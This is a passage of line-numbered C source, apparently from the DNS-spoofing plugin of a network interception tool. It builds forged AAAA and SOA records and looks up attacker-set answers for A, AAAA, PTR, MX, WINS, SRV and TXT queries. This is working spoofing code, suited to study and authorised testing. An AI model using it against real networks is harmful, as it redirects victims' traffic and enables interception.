967          memcpy(p + 8, "\x00\x01", 2);            /* class */
968          memcpy(p + 10, &dns_ttl, 4);             /* TTL */
969          memcpy(p + 14, "\x00\x04", 2);           /* datalen */
970          ip_addr_cpy(p + 16, reply);              /* data */
971       }
972       /* add the additional record for the spoofed IPv6 address*/
973       else if (ntohs(reply->addr_type) == AF_INET6) {
974 
975          /* allocate memory for the additional record */
976          len = 16 + IP6_ADDR_LEN;
977          SAFE_CALLOC(answer, len, sizeof(u_char));
978          p = answer;
979 
980          memcpy(p, "\x03srv", 4);                 /* target */
981          memcpy(p + 4, tgtoffset, 2);             /* compressed name offset */
982          memcpy(p + 6, "\x00\x1c", 2);            /* type AAAA */
983          memcpy(p + 8, "\x00\x01", 2);            /* class */
984          memcpy(p + 10, &dns_ttl, 4);             /* TTL */
985          memcpy(p + 14, "\x00\x10", 2);           /* datalen */
986          ip_addr_cpy(p + 16, reply);              /* data */
987       }
988       else {
989           /* IP address not valid - abort */
990           return -E_INVALID;
991       }
992 
993       /* insert the answer into the list */
994       SAFE_CALLOC(rr, 1, sizeof(struct rr_entry));
995       rr->data = answer;
996       rr->size = len;
997       SLIST_INSERT_HEAD(&additional_list, rr, next);
998       *dns_len += len;
999       *n_addi += 1;
1000 
1001       USER_MSG("dns_spoof: %s [%s] spoofed to [%s:%d] TTL [%u s]\n",
1002             type_str(type), name, ip_addr_ntoa(reply, tmp), port, ttl);
1003    } /* SRV */
1004 
1005    if (is_negative && type != ns_t_any) {
1006 
1007       /* allocate memory for authorative answer */
1008       len = 46;
1009       SAFE_CALLOC(answer, len, sizeof(u_char));
1010       p = answer;
1011 
1012       /* convert to network-byte order */
1013       dns_ttl = htonl(ttl);
1014 
1015       /* prepare the authorative record */
1016       memcpy(p, "\xc0\x0c", 2);                        /* compressed named offset */
1017       memcpy(p + 2, "\x00\x06", 2);                    /* type SOA */
1018       memcpy(p + 4, "\x00\x01", 2);                    /* class */
1019       memcpy(p + 6, &dns_ttl, 4);                      /* TTL (seconds) */
1020       memcpy(p + 10, "\x00\x22", 2);                   /* datalen */
1021       memcpy(p + 12, "\x03ns1", 4);                    /* primary server */
1022       memcpy(p + 16, "\xc0\x0c", 2);                   /* compressed name offeset */
1023       memcpy(p + 18, "\x05""abuse", 6);                /* mailbox */
1024       memcpy(p + 24, "\xc0\x0c", 2);                   /* compressed name offset */
1025       memcpy(p + 26, "\x51\x79\x57\xf5", 4);           /* serial */
1026       memcpy(p + 30, "\x00\x00\x0e\x10", 4);           /* refresh interval */
1027       memcpy(p + 34, "\x00\x00\x02\x58", 4);           /* retry interval */
1028       memcpy(p + 38, "\x00\x09\x3a\x80", 4);           /* erpire limit */
1029       memcpy(p + 42, "\x00\x00\x00\x3c", 4);           /* minimum TTL */
1030 
1031       /* insert the answer into the list */
1032       SAFE_CALLOC(rr, 1, sizeof(struct rr_entry));
1033       rr->data = answer;
1034       rr->size = len;
1035       SLIST_INSERT_HEAD(&authority_list, rr, next);
1036       *dns_len += len;
1037       *n_auth += 1;
1038 
1039       USER_MSG("dns_spoof: negative cache spoofed for [%s] type %s, TTL [%u s]\n", name, type_str(type), ttl);
1040    } /* SOA */
1041 
1042 exit:
1043 
1044    return E_SUCCESS;
1045 }
1046 
1047 
1048 /*
1049  * return the ip address for the name - IPv4
1050  */
get_spoofed_a(const char * a,struct ip_addr ** ip,u_int32 * ttl)1051 static int get_spoofed_a(const char *a, struct ip_addr **ip, u_int32 *ttl)
1052 {
1053    struct dns_spoof_entry *d;
1054 
1055    SLIST_FOREACH(d, &dns_spoof_head, next) {
1056       if (d->type == ns_t_a && match_pattern(a, d->name)) {
1057 
1058          /* return the pointer to the struct */
1059          *ip = &d->ip;
1060          *ttl = d->ttl;
1061 
1062          return E_SUCCESS;
1063       }
1064    }
1065 
1066    return -E_NOTFOUND;
1067 }
1068 
1069 /*
1070  * return the ip address for the name - IPv6
1071  */
get_spoofed_aaaa(const char * a,struct ip_addr ** ip,u_int32 * ttl)1072 static int get_spoofed_aaaa(const char *a, struct ip_addr **ip, u_int32 *ttl)
1073 {
1074     struct dns_spoof_entry *d;
1075 
1076     SLIST_FOREACH(d, &dns_spoof_head, next) {
1077         if (d->type == ns_t_aaaa && match_pattern(a, d->name)) {
1078             /* return the pointer to the struct */
1079             *ip = &d->ip;
1080             *ttl = d->ttl;
1081 
1082             return E_SUCCESS;
1083         }
1084     }
1085 
1086     return -E_NOTFOUND;
1087 }
1088 
1089 /*
1090  * return the TXT string for the name
1091  */
get_spoofed_txt(const char * name,char ** txt,u_int32 * ttl)1092 static int get_spoofed_txt(const char *name, char **txt, u_int32 *ttl)
1093 {
1094    struct dns_spoof_entry *d;
1095 
1096    SLIST_FOREACH(d, &dns_spoof_head, next) {
1097       if (d->type == ns_t_txt && match_pattern(name, d->name)) {
1098          /* return the pointer to the string */
1099          *txt = d->text;
1100          *ttl = d->ttl;
1101 
1102          return E_SUCCESS;
1103       }
1104    }
1105 
1106    return -E_NOTFOUND;
1107 }
1108 
1109 /*
1110  * return the name for the ip address
1111  */
get_spoofed_ptr(const char * arpa,char ** a,u_int32 * ttl)1112 static int get_spoofed_ptr(const char *arpa, char **a, u_int32 *ttl)
1113 {
1114    struct dns_spoof_entry *d;
1115    struct ip_addr ptr;
1116    unsigned int oct[32];
1117    int len, v4len, v6len;
1118    u_char ipv4[4];
1119    u_char ipv6[16];
1120    char v4tld[] = "in-addr.arpa";
1121    char v6tld[] = "ip6.arpa";
1122 
1123    len = strlen(arpa);
1124    v4len = strlen(v4tld);
1125    v6len = strlen(v6tld);
1126 
1127    /* Check the top level domain of the PTR query - IPv4 */
1128    if (strncmp(arpa + len - v4len, v4tld, v4len) == 0) {
1129 
1130        /* parses the arpa format */
1131        if (sscanf(arpa, "%d.%d.%d.%d.in-addr.arpa",
1132                    &oct[3], &oct[2], &oct[1], &oct[0]) != 4)
1133           return -E_INVALID;
1134 
1135        /* collect octets */
1136        ipv4[0] = oct[0] & 0xff;
1137        ipv4[1] = oct[1] & 0xff;
1138        ipv4[2] = oct[2] & 0xff;
1139        ipv4[3] = oct[3] & 0xff;
1140 
1141 
1142        /* init the ip_addr structure */
1143        ip_addr_init(&ptr, AF_INET, ipv4);
1144 
1145    }
1146    /* check the top level domain of the PTR query - IPv6 */
1147    else if (strncmp(arpa + len - v6len, v6tld, v6len) == 0) {
1148        /* parses the ip6.arpa format for IPv6 reverse pointer */
1149        if (sscanf(arpa, "%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x."
1150                         "%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x."
1151                         "%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x."
1152                         "%1x.%1x.%1x.%1x.%1x.ip6.arpa",
1153                         &oct[31], &oct[30], &oct[29], &oct[28],
1154                         &oct[27], &oct[26], &oct[25], &oct[24],
1155                         &oct[23], &oct[22], &oct[21], &oct[20],
1156                         &oct[19], &oct[18], &oct[17], &oct[16],
1157                         &oct[15], &oct[14], &oct[13], &oct[12],
1158                         &oct[11], &oct[10], &oct[9],  &oct[8],
1159                         &oct[7],  &oct[6],  &oct[5],  &oct[4],
1160                         &oct[3],  &oct[2],  &oct[1],  &oct[0]) != 32) {
1161           return -E_INVALID;
1162        }
1163 
1164        /* collect octets */
1165        ipv6[0] = (oct[0] << 4) | oct[1];
1166        ipv6[1] = (oct[2] << 4) | oct[3];
1167        ipv6[2] = (oct[4] << 4) | oct[5];
1168        ipv6[3] = (oct[6] << 4) | oct[7];
1169        ipv6[4] = (oct[8] << 4) | oct[9];
1170        ipv6[5] = (oct[10] << 4) | oct[11];
1171        ipv6[6] = (oct[12] << 4) | oct[13];
1172        ipv6[7] = (oct[14] << 4) | oct[15];
1173        ipv6[8] = (oct[16] << 4) | oct[17];
1174        ipv6[9] = (oct[18] << 4) | oct[19];
1175        ipv6[10] = (oct[20] << 4) | oct[21];
1176        ipv6[11] = (oct[22] << 4) | oct[23];
1177        ipv6[12] = (oct[24] << 4) | oct[25];
1178        ipv6[13] = (oct[26] << 4) | oct[27];
1179        ipv6[14] = (oct[28] << 4) | oct[29];
1180        ipv6[15] = (oct[30] << 4) | oct[31];
1181 
1182        /* init the ip_addr structure */
1183        ip_addr_init(&ptr, AF_INET6, ipv6);
1184 
1185    }
1186 
1187 
1188    /* search in the list */
1189    SLIST_FOREACH(d, &dns_spoof_head, next) {
1190       /*
1191        * we cannot return whildcards in the reply,
1192        * so skip the entry if the name contains a '*'
1193        */
1194       if (d->type == ns_t_ptr && !ip_addr_cmp(&ptr, &d->ip)) {
1195 
1196          /* return the pointer to the name */
1197          *a = d->name;
1198          *ttl = d->ttl;
1199 
1200          return E_SUCCESS;
1201       }
1202    }
1203 
1204    return -E_NOTFOUND;
1205 }
1206 
1207 /*
1208  * return the ip address for the name (MX records)
1209  */
get_spoofed_mx(const char * a,struct ip_addr ** ip,u_int32 * ttl)1210 static int get_spoofed_mx(const char *a, struct ip_addr **ip, u_int32 *ttl)
1211 {
1212    struct dns_spoof_entry *d;
1213 
1214    SLIST_FOREACH(d, &dns_spoof_head, next) {
1215       if (d->type == ns_t_mx && match_pattern(a, d->name)) {
1216 
1217          /* return the pointer to the struct */
1218          *ip = &d->ip;
1219          *ttl = d->ttl;
1220 
1221          return E_SUCCESS;
1222       }
1223    }
1224 
1225    return -E_NOTFOUND;
1226 }
1227 
1228 /*
1229  * return the ip address for the name (NetBIOS WINS records)
1230  */
get_spoofed_wins(const char * a,struct ip_addr ** ip,u_int32 * ttl)1231 static int get_spoofed_wins(const char *a, struct ip_addr **ip, u_int32 *ttl)
1232 {
1233    struct dns_spoof_entry *d;
1234 
1235    SLIST_FOREACH(d, &dns_spoof_head, next) {
1236       if (d->type == ns_t_wins && match_pattern(a, d->name)) {
1237 
1238          /* return the pointer to the struct */
1239          *ip = &d->ip;
1240          *ttl = d->ttl;
1241          return E_SUCCESS;
1242       }
1243    }
1244 
1245    return -E_NOTFOUND;
1246 }
1247 
1248 /*
1249  * return the target for the SRV request
1250  */
get_spoofed_srv(const char * name,struct ip_addr ** ip,u_int16 * port,u_int32 * ttl)1251 static int get_spoofed_srv(const char *name, struct ip_addr **ip, u_int16 *port, u_int32 *ttl)
1252 {
1253     struct dns_spoof_entry *d;
1254 
1255     SLIST_FOREACH(d, &dns_spoof_head, next) {
1256         if (d->type == ns_t_srv && match_pattern(name, d->name)) {
1257            /* return the pointer to the struct */
1258            *ip = &d->ip;
1259            *port = d->port;
1260            *ttl = d->ttl;
1261 
1262            return E_SUCCESS;
1263         }
1264     }
1265 
1266     return -E_NOTFOUND;
1267 }
1268 
type_str(int type)1269 char *type_str (int type)
1270 {
1271    return (type == ns_t_a    ? "A" :
1272            type == ns_t_aaaa ? "AAAA" :
1273            type == ns_t_ptr  ? "PTR" :
1274            type == ns_t_mx   ? "MX" :
1275            type == ns_t_wins ? "WINS" :
1276            type == ns_t_srv ? "SRV" :
1277            type == ns_t_any ? "ANY" :
1278            type == ns_t_txt ? "TXT" : "??");
1279 }
1280 
dns_spoof_dump(void)1281 static void dns_spoof_dump(void)
1282 {
1283    struct dns_spoof_entry *d;
1284    char tmp[MAX_ASCII_ADDR_LEN];
1285 
1286    /* Unused variable */
1287    (void) tmp;
1288 
1289    DEBUG_MSG("dns_spoof entries:");
1290    SLIST_FOREACH(d, &dns_spoof_head, next) {
1291       if (d->type == ns_t_txt) {
1292          DEBUG_MSG("  %s -> \"%s\", type %s, TTL %u", d->name, d->text, type_str(d->type), d->ttl);
1293       }
1294       else if (ntohs(d->ip.addr_type) == AF_INET)
1295       {
1296          if (d->type == ns_t_srv) {
1297             DEBUG_MSG("  %s -> [%s:%d], type %s, TTL %u, family IPv4",
1298                       d->name, ip_addr_ntoa(&d->ip, tmp), d->port, type_str(d->type), d->ttl);
1299          }
1300          else {
1301             DEBUG_MSG("  %s -> [%s], type %s, TTL %u, family IPv4",
1302                       d->name, ip_addr_ntoa(&d->ip, tmp), type_str(d->type), d->ttl);
1303          }
1304       }
1305       else if (ntohs(d->ip.addr_type) == AF_INET6)
1306       {
1307          if (d->type == ns_t_srv) {
1308             DEBUG_MSG("  %s -> [%s:%d], type %s, TTL %u, family IPv6",
1309                       d->name, ip_addr_ntoa(&d->ip, tmp), d->port, type_str(d->type), d->ttl);
1310          }
1311          else {
1312             DEBUG_MSG("  %s -> [%s], type %s, TTL %u, family IPv6",
1313                       d->name, ip_addr_ntoa(&d->ip, tmp), type_str(d->type), d->ttl);
1314          }
1315       }
1316       else
1317       {
1318          DEBUG_MSG("  %s -> ??", d->name);
1319       }
1320    }
1321 }
1322 
1323 /* EOF */
1324 
1325 // vim:ts=3:expandtab
1326 
1327